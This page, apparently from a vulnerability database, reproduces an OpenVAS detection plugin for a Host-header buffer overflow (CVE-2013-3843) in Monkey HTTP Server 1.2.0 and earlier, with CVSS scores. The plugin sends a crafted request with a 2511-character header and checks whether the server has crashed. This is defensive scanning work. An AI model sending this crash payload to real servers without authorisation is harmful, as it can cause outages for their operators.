Lucene search

K
openvasCopyright (C) 2013 Greenbone AGOPENVAS:1361412562310803711
HistoryJun 05, 2013 - 12:00 a.m.

Monkey HTTP Server <= 1.2.0 Host Header Buffer Overflow Vulnerability

2013-06-0500:00:00
Copyright (C) 2013 Greenbone AG
plugins.openvas.org
21

CVSS2

6.8

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P

AI Score

6.5

Confidence

Low

EPSS

0.345

Percentile

97.2%

Monkey HTTP Server is prone to a buffer overflow
vulnerability.

# SPDX-FileCopyrightText: 2013 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.803711");
  script_version("2024-05-24T19:38:34+0000");
  script_cve_id("CVE-2013-3843");
  script_tag(name:"cvss_base", value:"6.8");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:P/I:P/A:P");
  script_tag(name:"last_modification", value:"2024-05-24 19:38:34 +0000 (Fri, 24 May 2024)");
  script_tag(name:"creation_date", value:"2013-06-05 11:55:02 +0530 (Wed, 05 Jun 2013)");
  script_name("Monkey HTTP Server <= 1.2.0 Host Header Buffer Overflow Vulnerability");
  script_category(ACT_DENIAL);
  script_copyright("Copyright (C) 2013 Greenbone AG");
  script_family("Buffer overflow");
  script_dependencies("gb_get_http_banner.nasl");
  script_require_ports("Services/www", 2001);
  script_mandatory_keys("Monkey/banner");

  script_xref(name:"URL", value:"http://pastebin.com/7b0ZKNtm");
  script_xref(name:"URL", value:"http://bugs.monkey-project.com/ticket/182");
  script_xref(name:"URL", value:"http://exploitsdownload.com/exploit/na/monkey-120-buffer-overflow");

  script_tag(name:"summary", value:"Monkey HTTP Server is prone to a buffer overflow
  vulnerability.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks if the system is
  still responding afterwards.");

  script_tag(name:"insight", value:"The flaw is due to an error when handling certain Long requests
  sent via 'Host' field, which can be exploited to cause a denial of service or remote code
  execution.");

  script_tag(name:"impact", value:"Successful exploitation will let remote unauthenticated attackers
  to cause a denial of service or execute arbitrary code.");

  script_tag(name:"affected", value:"Monkey HTTP Server version 1.2.0 and prior.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore. General solution
  options are to upgrade to a newer release, disable respective features, remove the product or
  replace the product by another one.");

  script_tag(name:"solution_type", value:"WillNotFix");
  script_tag(name:"qod_type", value:"remote_analysis");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");

port = http_get_port(default:2001);
banner = http_get_remote_headers(port:port);

if(!banner || banner !~ "Server\s*:\s*Monkey")
  exit(0);

if(http_is_dead(port:port))
  exit(0);

req = string("GET / HTTP/1.1\r\n",
             "Host: \r\n",
             "Bad: ", crap(data:"0x41", length:2511), "\r\n\r\n");
http_send_recv(port:port, data:req);

req = http_get(item:"/", port:port);
res = http_keepalive_send_recv(port:port, data:req);

if(!res && http_is_dead(port:port)) {
  security_message(port:port, report:"The HTTP server is not responding anymore after receiving our crafted HTTP request.");
  exit(0);
}

exit(99);

CVSS2

6.8

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P

AI Score

6.5

Confidence

Low

EPSS

0.345

Percentile

97.2%